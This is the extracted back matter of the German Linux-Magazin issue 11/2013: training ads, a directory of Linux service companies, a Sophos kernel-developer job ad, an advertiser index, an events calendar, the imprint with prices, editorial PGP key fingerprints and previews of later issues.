249 €<br />

www.medialinx-academy.de<br />

IT-Academy_1-9_Dovecot-Schulung.indd 1<br />

02.08.2013 11:53:34 Uhr<br />

IT-Onlinetrainings<br />

Mit Experten lernen.<br />

MEDIALINX<br />

IT-ACADEMY<br />

– die offiziellen Trainings<br />

mit Marco Welter,<br />

Zarafa Deutschland GmbH<br />

Zarafa Administrator<br />

249 €<br />

Zarafa Engineer<br />

249 €<br />

www.medialinx-academy.de<br />

WusstEn siE’s?<br />

<strong>Linux</strong>-<strong>Magazin</strong> und <strong>Linux</strong>User<br />

haben ein englisches<br />

Schwester magazin!<br />

Am besten, Sie informieren gleich<br />

Ihre <strong>Linux</strong>-Freunde in aller Welt...<br />

www.linux-magazine.com<br />

IT-Onlinetrainings<br />

Mit Experten lernen.<br />

MEDIALINX<br />

IT-ACADEMY<br />

Effiziente BASH-Skripte<br />

mit Klaus Knopper,<br />

Gründer der<br />

Knoppix-Distribution,<br />

KNOPPER.NET<br />

199 €<br />

Automatisieren Sie komplexe<br />

Aufgaben mit Hilfe effizienter Skripte!<br />

www.medialinx-academy.de<br />

IT-Academy_1-9_Zarafa-Schulung.indd 1<br />

02.08.2013 11:55:03 Uhr<br />

IT-Academy_1-9_Bash-Schulung.indd 1<br />

02.08.2013 11:53:16 Uhr<br />

LMI_3-9h_german_1609-2013.indd 1<br />

16.09.2013 16:53:45 Uhr


Service<br />

www.linux-magazin.de Markt 11/2013<br />

108<br />

IT-Profimarkt/Markt/Stellen<br />

IT-Profimarkt – Liste sortiert nach Postleitzahl (Fortsetzung von S. 106)<br />

Firma Anschrift Telefon <strong>Web</strong> 1 2 3 4 5 6<br />

Waldmann EDV Systeme + Service<br />

74321 Bietigheim-Bissingen,<br />

Pleidelsheimer Str. 25<br />

07142-2 15 16 www.waldmann-edv.de √ √ √ √ √<br />

in-put Das <strong>Linux</strong>-Systemhaus 76133 Karlsruhe, Moltkestr. 49 0721-6 80 32 88-0 www.in-put.de √ √ √ √ √ √<br />

Bodenseo 78224 Singen, Pomeziastr. 9 07731-1 47 61 20 www.bodenseo.de √ √ √<br />

<strong>Linux</strong> Information Systems AG 81739 München, Putzbrunnerstr. 71 089-99 34 12-0 www.linux-ag.com √ √ √ √ √<br />

<strong>Linux</strong>Land International GmbH 81739 München, Putzbrunnerstr. 71 089-99 34 14 41 www.linuxland.de √ √ √ √ √ √<br />

Synergy Systems GmbH 81829 München, Konrad-Zuse-Platz 8 089-89 08 05 00 www.synergysystems.de √ √ √ √ √<br />

B1 Systems GmbH 85088 Vohburg, Osterfeldstrasse 7 08457-93 10 96 www.b1-systems.de √ √ √ √ √<br />

ATIX AG 85716 Unterschleißheim, Einsteinstr. 10 089-45 23 53 8-0 www.atix.de √ √ √ √ √ √<br />

Tuxedo Computers GmbH 86343 Königsbrunn , Zeppelinstr. 3 0921-16 49 87 87-0 www.linux-onlineshop.de √ √ √ √<br />

OSTC Open Source Training and<br />

Consulting GmbH<br />

90425 Nürnberg,<br />

Waldemar-Klink-Str. 10<br />

0911-3474544 www.ostc.de √ √ √ √ √ √<br />

Dipl.-Ing. Christoph Stockmayer GmbH 90571 Schwaig, Dreihöhenstr. 1 0911-50 52 41 www.stockmayer.de √ √ √<br />

pascom - Netzwerktechnik GmbH & Co.KG 94469 Deggendorf, Berger Str. 42 0991-27 00 60 www.pascom.net √ √ √ √ √<br />

RealStuff Informatik AG CH-3007 Bern, Chutzenstrasse 24 0041-31-3 82 44 44 www.realstuff.ch √ √ √<br />

CATATEC CH-3013 Bern, Dammweg 43 0041-31-3 30 26 30 www.catatec.ch √ √ √<br />

Syscon Systemberatungs AG CH-8003 Zürich, Zweierstrasse 129 0041-44-4 54 20 10 www.syscon.ch √ √ √ √ √<br />

Würth Phoenix GmbH IT-39100 Bozen, Kravoglstraße 4 0039 0471 56 41 11 www.wuerth-phoenix.com √ √ √ √<br />

IT-Profimarkt listet ausschließlich Unternehmen, die Leistungen rund um <strong>Linux</strong> bieten. Alle Angaben ohne Gewähr. <br />

n<br />

3 AusgAben für nur 5,90 E<br />

Jetzt bestellen: 3 Hefte zum Preis von einem. Sie sparen 66 %!<br />

Neu!<br />

Kennenlernangebot:<br />

3 AusgAben<br />

für nur 5,90 E<br />

Jetzt bestellen unter:<br />

www.android–user.de/miniabo<br />

Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de


MAGAZIN<br />

ONLINE<br />

<strong>Linux</strong>-<strong>Magazin</strong> newsLetter<br />

Nachrichten rund um die Themen <strong>Linux</strong> und Open Source lesen Sie täglich<br />

im Newsletter des <strong>Linux</strong>-<strong>Magazin</strong>s.<br />

Newsletter<br />

informativ<br />

kompakt<br />

tagesaktuell<br />

www.linux-magazin.de/newsletter


ADMIN und <strong>Linux</strong>-<strong>Magazin</strong><br />

am Apple Newsstand!<br />

Jetzt NEU!<br />

Alternativ finden Sie alle Titel der Medialinx AG<br />

auch bei: PagePlace, iKiosk, OnlineKiosk und<br />

Leserauskunft Jetzt GRATIS testen!<br />

LM_1-2q_apple-newsstand.indd 1<br />

Digitales aBO<br />

linuxUser: Das Monatsmagazin für die Praxis<br />

28.08.2013 11:21:14 Uhr<br />

DigisUB *<br />

nur 60, 60 €<br />

im Jahr (12 PDFs)<br />

* Digitales Abo, jederzeit kündbar<br />

Jetzt Bestellen Unter:<br />

www.linux-user.de/digisub<br />

Telefon: 07131 /2707 274<br />

Fax: 07131 / 2707 78 601<br />

E-Mail: abo@linux-user.de


Markt/Stellen<br />

Kernel Developer (m/w) Network<br />

Arbeitsort: Karlsruhe<br />

Sie arbeiten innerhalb der Network Security Group<br />

an unserem Unified Threat Management Produkt,<br />

einer x86 <strong>Linux</strong>-basierten Network Appliance.<br />

Ihre Aufgaben:<br />

Integration aktueller <strong>Linux</strong>-Kernel-Versionen<br />

Weiterentwicklung interner Kernel-Anpassungen<br />

Portierung und Integration von Patches<br />

Debugging auf Kernel- und Systemebene<br />

Tatkräftige Unterstützung beim Aufbau und der<br />

Pflege des internen technischen Knowhows<br />

Ihr Profil:<br />

Sehr gute Kenntnisse im Bereich <strong>Linux</strong>-Kernel-Entwicklung<br />

Erfahrung mit Hardware-Treibern, I/O und Prozessoren<br />

(32/64 Bit, SMP)<br />

Kenntnisse im Bereich Netzwerke, TCP/IP und Netfilter<br />

Sehr gute Kenntnisse in der Programmiersprache C und<br />

Shell-Programmierung (bash)<br />

Erfahrung im Umgang mit den Werkzeugen gcc, gdb,<br />

patch/diff, make und git<br />

Selbstständiges Planen, Arbeiten und Reporten,<br />

auch in englischer Sprache<br />

Verständnis des „Open Source“-Gedankens<br />

Sophos – bei uns sind Sie von Anfang an gefragt<br />

Verwirklichen Sie Ihre Ideen in einem globalen, erfolgreichen<br />

Unternehmen. Übernehmen Sie Verantwortung für<br />

unser anspruchsvolles Ziel: Gemeinsam schaffen wir die<br />

Voraussetzung für die Informationstechnologie von morgen.<br />

Wollen Sie mit Sicherheit Karriere machen?<br />

Senden Sie uns Ihre vollständigen Unterlagen per Mail<br />

mit Angabe Ihrer Gehaltsvorstellung und der Kennziffer<br />

LM13KAR621 an: careers@sophos.de<br />

Haben Sie noch Fragen?<br />

Sabrina Benz, HR Business Partner, +49 721 25516 0<br />

Sophos Technology GmbH<br />

Amalienbadstr. 41/Bau 52, 76227 Karlsruhe<br />

www.sophos.com


Service<br />

www.linux-magazin.de Inserenten 11/2013<br />

112<br />

Inserentenverzeichnis<br />

1&1 Internet AG http://​www.einsundeins.de 11<br />

ADMIN http://​www.admin-magazin.de 83, 87<br />

Android User GY http://​www.android-user.de 108<br />

B1 Systems GmbH http://​www.b1-systems.de 115<br />

CANDAN THE WEB COMPANY http://​www.canhost.de 65<br />

Deutsche Python Konferenz - PyCon http://​de.pycon.org/​ 69<br />

embedded projects GmbH http://​www.embedded-projects.net 111<br />

Fernschule <strong>Web</strong>er GmbH http://​www.fernschule-weber.de 107<br />

Heinlein Support GmbH http://​www.heinlein-support.de 43, 57<br />

Host Europe GmbH http://​www.hosteurope.de 2<br />

Ico Innovative Computer GmbH http://​www.ico.de 41<br />

<strong>Linux</strong> <strong>Magazin</strong>e http://www.linux-magazine.com 107<br />

<strong>Linux</strong>-Hotel http://​www.linuxhotel.de 17<br />

<strong>Linux</strong>-<strong>Magazin</strong> http://​www.linux-magazin.de 27, 110<br />

<strong>Linux</strong>-<strong>Magazin</strong> Online http://​www.linux-magazin.de 109<br />

<strong>Linux</strong>User http://​www.linuxuser.de 71, 110<br />

MailStore Software GmbH http://www.mailstore.com 15<br />

Medialinx IT-Academy http://​www.medialinx-academy.de 19,<br />

103, 107<br />

Netways GmbH http://​www.netways.de 85<br />

Nine Internet Solutions AG http://​www.nine.ch 109<br />

Open Source Press GmbH http://​www.opensourcepress.de 25<br />

OpenRheinRuhr http://​www.openrheinruhr.de 31<br />

PlusServer AG http://​www.plusserver.de 44, 47, 61, 63,<br />

93, 104<br />

Raspberry Pi Geek http://​www.raspberry-pi-geek.de 33<br />

Sophos http://​http:www.sophos.com 111<br />

Spenneberg Training & Consulting http://​www.spenneberg.com 107<br />

Thomas Krenn AG http://​www.thomas-krenn.com 116<br />

Uni Hamburg http://​www.uni-hamburg.de 111<br />

<strong>Web</strong>tropia http://​www.webtropia.com​ 23, 37<br />

Einem Teil dieser Ausgabe liegt eine Beilage der Firma 1&1 Internet AG (http://​www.<br />

einsundeins.de) bei. Wir bitten unsere Leser um freundliche Beachtung.<br />

Veranstaltungen<br />

08.-10.10.2013<br />

Data Modeling Zone America<br />

Baltimore, MD<br />

http://www.datamodelingzone.com<br />

21.-23.10.2013<br />

<strong>Linux</strong>Con Europe 2013<br />

Edinburgh, UK<br />

http://events.linuxfoundation.org/events/linuxconeurope<br />

08.-10.11.2013<br />

FSCONS 2013<br />

Göteborg, Sweden<br />

https://fscons.org/2013/<br />

11.-13.10.2013<br />

Ubucon 2013<br />

69115 Heidelberg, Deutschland<br />

http://www.ubucon.de<br />

14.-19.10.2013<br />

PyCon.DE 2013<br />

Köln, Deutschland<br />

https://2013.de.pycon.org<br />

16.-18.10.2013<br />

Medientage München<br />

München, Deutschland<br />

http://www.medientage.de<br />

18.-20.10.2013<br />

Proyecto H<br />

Cuernavaca, México<br />

http://www.hackingmexico.mx/proyectoh/<br />

21.-23.10.2013<br />

CloudOpen Europe 2013<br />

Edinburgh, UK<br />

http://events.linuxfoundation.org/events/cloudopeneurope<br />

22.-23.10.2013<br />

Apps World<br />

London, UK<br />

http://www.apps-world.net/europe<br />

24.-25.10.2013<br />

Embedded <strong>Linux</strong> Conference Europe 2013<br />

Edinburgh, UK<br />

http://events.linuxfoundation.org/events/embeddedlinux-conference-europe<br />

28.-30.10.2013<br />

JAXConf London 2013 with Big Data Con<br />

London, UK<br />

http://jaxlondon.com<br />

02.-03.11.2013<br />

Blendiberia 2013<br />

Málaga, Spain<br />

http://3dschool.ihman.com/informacionblendiberia-2013/<br />

03.-08.11.2013<br />

USENIX LISA ’13<br />

Washington, D.C.<br />

https://www.usenix.org/conference/lisa13<br />

08.11.2013<br />

Deutsche PostgreSQL Konferenz 2013<br />

Oberhausen, Deutschland<br />

http://2013.pgconf.de<br />

09.-10.11.2013<br />

OpenRheinRuhr<br />

Oberhausen, Deutschland<br />

http://openrheinruhr.de<br />

15.-16.11.2013<br />

7. <strong>Linux</strong>-Informationstage Oldenburg<br />

Oldenburg, Deutschland<br />

http://lit-ol.de<br />

17.-22.11.2013<br />

SC13<br />

Denver, CO, USA<br />

http://sc13.supercomputing.org<br />

22.-24.11.2013<br />

PyconES 2013<br />

Madrid, Spain<br />

http://2013.es.pycon.org<br />

23.11.2013<br />

14. Vorarlberger <strong>Linux</strong>Day<br />

Dornbirn, Österreich<br />

http://www.linuxday.at


Impressum<br />

<strong>Linux</strong>-<strong>Magazin</strong> eine Publikation der <strong>Linux</strong> New Media, einem<br />

Geschäftsbereich der Medialinx AG<br />

Redaktionsanschrift Putzbrunner Str. 71<br />

81739 München<br />

Tel.: 089/993411-0<br />

Fax: 089/993411-99 oder -96<br />

Internet<br />

www.linux-magazin.de<br />

E-Mail<br />

redaktion@linux-magazin.de<br />

Geschäftsleitung<br />

Chefredakteur<br />

stv. Chefredakteure<br />

Redaktionsltg. Online<br />

Brian Osborn (Vorstand), bosborn@medialinx-gruppe.de<br />

Hermann Plank (Vorstand), hplank@medialinx-gruppe.de<br />

Jan Kleinert (V.i.S.d.P.), jkleinert@linux-magazin.de (jk)<br />

Markus Feilner, mfeilner@linux-magazin.de (mfe)<br />

Mathias Huber, mhuber@linux-magazin.de (mhu)<br />

Mathias Huber, mhuber@linux-magazin.de (mhu)<br />

Print- und Onlineredaktion<br />

Aktuell, Forum, Software, Kristian Kissling, kkissling@linux-magazin.de (kki)<br />

Programmierung Mathias Huber, mhuber@linux-magazin.de (mhu)<br />

Sysadmin, Know-how Markus Feilner, mfeilner@linux-magazin.de (mfe)<br />

Ständige Mitarbeiter Fred Andresen, Zack Brown, Mela Eckenfels, Heike Jurzik (hej),<br />

Charly Kühnast, Martin Loschwitz, Michael Schilli, Tim<br />

Schürmann, Mark Vogelsberger, Uwe Vollbracht, Arnold<br />

Zimprich (azi)<br />

Schlussredaktion<br />

Grafik<br />

Bildnachweis<br />

DELUG-DVD<br />

Chefredaktionen<br />

International<br />

Produktion<br />

Onlineshop<br />

Abo-Infoseite<br />

Abonnenten-Service<br />

ISSN 1432 – 640 X<br />

Jürgen Manthey<br />

Mike Gajer, Judith Erb (Art Director)<br />

xhoch4, München (Titel-Illustration)<br />

123RF.com, Fotolia.de, Photocase.com, Pixelio.de und andere<br />

Thomas Leichtenstern, tleichtenstern@linux-magazin.de (tle)<br />

<strong>Linux</strong> <strong>Magazin</strong>e International<br />

Joe Casad (jcasad@linux-magazine.com)<br />

<strong>Linux</strong> <strong>Magazin</strong>e Poland<br />

Artur Skura (askura@linux-magazine.pl)<br />

<strong>Linux</strong> <strong>Magazin</strong>e Spain<br />

Paul C. Brown (pbrown@linux-magazine.es)<br />

<strong>Linux</strong> <strong>Magazin</strong>e Brasil<br />

Rafael Peregrino (rperegrino@linuxmagazine.com.br)<br />

Christian Ullrich, cullrich@linux-magazin.de<br />

www.medialinx-shop.de<br />

www.linux-magazin.de/Produkte<br />

A.B.O. Verlagservice GmbH<br />

Gudrun Blanz (Teamleitung)<br />

abo@medialinx-gruppe.de<br />

Tel.: +49-(0)7131-2707-274<br />

Fax: +49-(0)7131-2707-78-601<br />

Preise Print Deutschland Österreich Schweiz Ausland EU<br />

No-Media-Ausgabe 4 6,40 4 7,05 Sfr 12,80 (siehe Titel)<br />

DELUG-DVD-Ausgabe 4 8,50 4 9,35 Sfr 17,— (siehe Titel)<br />

Jahres-DVD (Einzelpreis) 4 14,95 4 14,95 Sfr 18,90 4 14,95<br />

Jahres-DVD (zum Abo 1 ) 4 6,70 4 6,70 Sfr 8,50 4 6,70<br />

Mini-Abo (3 Ausgaben) 4 3,— 4 3,— Sfr 4,50 4 3,—<br />

Jahresabo No Media 4 65,20 4 71,90 Sfr 107,50 4 84,60<br />

Jahresabo DELUG-DVD 4 87,90 4 96,90 Sfr 142,80 4 99,90<br />

Preise Digital Deutschland Österreich Schweiz Ausland EU<br />

Heft-PDF Einzelausgabe 4 6,40 4 6,40 Sfr 8,30 4 6,40<br />

DigiSub (12 Ausgaben) 4 65,20 4 65,20 Sfr 84,80 4 65,20<br />

DigiSub (zum Printabo) 4 12,— 4 12,— Sfr 12,— 4 12,—<br />

HTML-Archiv (zum Abo 1 ) 4 12,— 4 12,— Sfr 12,— 4 12,—<br />

Preise Kombiabos Deutschland Österreich Schweiz Ausland EU<br />

Mega-Kombi-Abo 2 4 143,40 4 163,90 Sfr 199,90 4 173,90<br />

Profi-Abo 3 4 136,60 4 151,70 Sfr 168,90 4 165,70<br />

1<br />

nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital<br />

2<br />

mit <strong>Linux</strong>User-Abo (DVD) und beiden Jahres-DVDs, inkl. DELUG-Mitgliedschaft (monatl.<br />

DELUG-DVD)<br />

3<br />

mit ADMIN-Abo und beiden Jahres-DVDs<br />

Schüler- und Studentenermäßigung: 20 Prozent gegen Vorlage eines Schülerausweises<br />

oder einer aktuellen Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei<br />

Verlän gerung neu zu erbringen. Andere Abo-Formen, Ermäßigungen im Ausland etc.<br />

auf Anfrage.<br />

Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht<br />

für Zeitschriften gelten.<br />

Pressemitteilungen<br />

Marketing und Vertrieb<br />

Mediaberatung D, A, CH<br />

presse-info@linux-magazin.de<br />

Petra Jaser, pjaser@linux-magazin.de<br />

Tel.: +49 (0)89 / 99 34 11 – 24<br />

Fax: +49 (0)89 / 99 34 11 – 99<br />

Michael Seiter, mseiter@linux-magazin.de<br />

Tel.: +49 (0)89 / 99 34 11 – 23<br />

Mediaberatung USA Ann Jesse, ajesse@linux-magazine.com<br />

und weitere Länder Tel.: +1 785 841 8834<br />

Darrah Buren, dburen@linux-magazine.com<br />

Tel.:+1 785 856 3082<br />

Pressevertrieb<br />

Druck<br />

Es gilt die Anzeigen-Preisliste vom 01.01.2013.<br />

MZV Moderner Zeitschriften Vertrieb GmbH & Co. KG<br />

Ohmstraße 1, 85716 Unterschleißheim<br />

Tel.: 089/31906-0, Fax: 089/31906-113<br />

Vogel Druck GmbH, 97204 Höchberg<br />

Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unixähnlichen<br />

Betriebssysteme verschiedener Hersteller benutzt. <strong>Linux</strong> ist eingetragenes<br />

Marken zeichen von Linus Torvalds und wird in unserem Markennamen mit seiner<br />

Erlaubnis verwendet.<br />

Eine Haftung für die Richtigkeit von Veröffentlichungen kann trotz sorgfältiger Prüfung<br />

durch die Redaktion vom Verlag nicht übernommen werden. Mit der Einsendung von<br />

Manus kripten gibt der Verfasser seine Zustimmung zum Abdruck. Für unverlangt<br />

eingesandte Manuskripte kann keine Haftung übernommen werden.<br />

Das Exklusiv- und Verfügungsrecht für angenommene Manuskripte liegt beim Verlag. Es<br />

darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in<br />

irgendeiner Form vervielfältigt oder verbreitet werden.<br />

Copyright © 1994 – 2013 Medialinx AG<br />

Impressum 11/2013<br />

Service<br />

www.linux-magazin.de<br />

113<br />

Krypto-Info<br />

GnuPG-Schlüssel der <strong>Linux</strong>-<strong>Magazin</strong>-Redaktion:<br />

pub 1024D/44F0F2B3 2000-05-08 Redaktion <strong>Linux</strong>-<strong>Magazin</strong><br />

<br />

Key fingerprint = C60B 1C94 316B 7F38 E8CC E1C1 8EA6 1F22 44F0 F2B3<br />

Public-Key der DFN-PCA:<br />

pub 2048R/7282B245 2007-12-12,<br />

DFN-PGP-PCA, CERTIFICATION ONLY KEY (DFN-PGP-Policy: 2008-2009)<br />

<br />

Key fingerprint = 39 D9 D7 7F 98 A8 F1 1B 26 6B D8 F2 EE 8F BB 5A<br />

PGP-Zertifikat der DFN-User-CA:<br />

pub 2048R/6362BE8B (2007-12-12),<br />

DFN-PGP-User-CA, CERTIFICATION ONLY KEY (DFN-PGP-Policy: 2008-2009)<br />

<br />

Key fingerprint = 30 96 47 77 58 48 22 C5 89 2A 85 19 9A D1 D4 06<br />

Root-Zertifikat der CAcert:<br />

Subject: O=Root CA, OU=http://www.cacert.org, CN=CA Cert Signing Authority/<br />

Email=support@cacert.org<br />

SHA1 Fingerprint=13:5C:EC:36:F4:9C:B8:E9:3B:1A:B2:70:CD:80:88:46:76:CE:8F:33<br />

MD5 Fingerprint=A6:1B:37:5E:39:0D:9C:36:54:EE:BD:20:31:46:1F:6B<br />

GPG-Schlüssel der CAcert:<br />

pub 1024D/​65D0FD58 2003-07-11 [expires: 2033-07-03]<br />

Key fingerprint = A31D 4F81 EF4E BD07 B456 FA04 D2BB 0D01 65D0 FD58<br />

uid CA Cert Signing Authority (Root CA) <br />

Autoren dieser Ausgabe<br />

Bernhard Bablok Tux liest 82<br />

Zack Brown Zacks Kernel-News 18<br />

Rainer Grimm Tux liest 82<br />

Gijs Hillenius Abgehängt 78<br />

Dr. Harald Jele Alles ausgezeichnet 52<br />

Jan Krutisch Flexible Unterlage 34<br />

Christoph Kuhr Multimedia-Brücke 88<br />

Charly Kühnast Slow Food 67<br />

Martin Loschwitz Auferstanden 84<br />

Nils Magnus Action am Haken 74<br />

Hans-Peter Merkel Flüchtige Spuren 68<br />

Sven Schannak Django Unchained 39<br />

Michael Schilli Catwalk Orange 100<br />

Tim Schürmann Schnelles war keiner 22<br />

Tim Schürmann Einsteigerfreundlich 94<br />

Mark Vogelsberger Schwacher Zufall 92<br />

Uwe Vollbracht Tooltipps 60<br />

Carsten Zerbst Blühender Content-Baum 28


Service<br />

www.linux-magazin.de <strong>Vorschau</strong> 02/2013 12/2013 01/2013 11/2013<br />

114<br />

<strong>Vorschau</strong><br />

12/2013 Dachzeile<br />

Kolab + Sabre = I-Rony<br />

© tiero, 123RF.com<br />

MAGAZIN<br />

Überschrift<br />

Unter dem sinnigen Namen I-Rony versorgt Kolab mit der aktuellen<br />

Betaversion nun auch Clients mit Kontakten und Terminen,<br />

denen Active Sync, Sync ML oder das Kolab-XML-Format<br />

nichts nützt. Betroffen sind Thunderbird, Evolution, Mac-OS-<br />

Ical und andere Clients. Die Kolab-Entwickler haben nämlich<br />

Sabre Dav integriert, einen Caldav- und Carddav-Server.<br />

U-Boot mit Kern-Technik<br />

Raus aus dem Hamsterrad!<br />

Sind IT-Administratoren tatsächlich Nerds, die zu komplexer<br />

sozialer Interaktion kaum fähig sind? Die Erfahrung lehrt: nein!<br />

Doch die meisten IT-Abteilungen sind genau so organisiert, als<br />

ob dort Sonderlinge ihre Spezialgebiete (Storage, Mail, Netzwerk,<br />

Oracle, SAP, …) autistisch beackern. Dass solche historisch<br />

gewachsenen Abteilungsstrukturen „bewährt“ genannt<br />

werden, bedeutet nicht, dass sie effektiv und effizient sind.<br />

Das nächste <strong>Magazin</strong> recherchiert in Theorie und Praxis neue<br />

Organisationsformen, anhand derer Admins wiederkehrende<br />

und einmalige Arbeiten intelligenter aufteilen, um Ressourcen<br />

zu gewinnen, die ihnen wiederum die kreative Weiterentwicklung<br />

ihrer IT ermöglichen.<br />

Wer für den Raspberry Pi entwickelt, hat das alte „SD-Karte<br />

rein“-„SD-Karte raus“-Spiel bald satt. Mit dem Bootloader U-<br />

Boot, einem TFTP-Server, angepasstem Kernel und Userland<br />

sowie etwas Konfiguration bootet das Board vom Netzwerk.<br />

C++11: Performance matters<br />

Dass Geschwindigkeit zählt ist ein ebenso einfaches wie wichtiges<br />

Prinzip von C++. Da trifft es sich gut, dass die neueste<br />

Ausgabe der Programmiersprache Dictionaries anbietet, auf die<br />

Entwickler über einen Schlüssel in konstanter Zeit zugreifen<br />

dürfen. Wie das geht? <strong>Linux</strong>-<strong>Magazin</strong> 12 matters.<br />

Die Ausgabe 12/2013<br />

erscheint am 7. November 2013<br />

© Mart1n, sxc.hu<br />

<strong>Vorschau</strong><br />

auf 11/2013<br />

Die nächste Ausgabe erscheint am 17.10.2013<br />

Virtuelle Maschinen im Griff<br />

Wer Software testet oder eine sichere Umgebung braucht,<br />

kommt um den Einsatz einer virtuellen Maschine kaum<br />

he rum. Aktuelle Hardware bringt in der Regel die notwendige<br />

Power mit, um Ins tanzen sinnvoll zu betreiben.<br />

Allerdings gibt es beim Setup und bei der Auswahl der Host-<br />

Software einiges zu beachten, beispielsweise wenn der Zugriff<br />

auf Shares oder das Durchschleifen von Hardware-Komponenten<br />

reibungslos klappen soll. Damit Sie keine Bauchlandung<br />

erleiden, hilft der kommende Schwerpunkt mit einem Überblick<br />

über aktuelle Techniken.<br />

Uberwriter<br />

Der Autor genießt das Privileg, den Blick aus dem Fenster als<br />

Arbeit verbuchen zu dürfen. Starrt er jedoch ins (PC-)Fenster,<br />

wünscht er möglichst wenig Störendes. Hier hilft Uberwriter,<br />

der ein ablenkungs freies Schreiben von Texten erlaubt.<br />

Buffalo WZR-HP-AG300N<br />

Im Prinzip handelt es sich beim Dualband-WLAN-Router von<br />

Buffalo schon um eine eierlegende Wollmilchsau. Wem die<br />

Unzahl an Funktionen nicht reicht, der nutzt die offene Firmware<br />

DD-WRT als Grundlage für eigene Experimente.

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!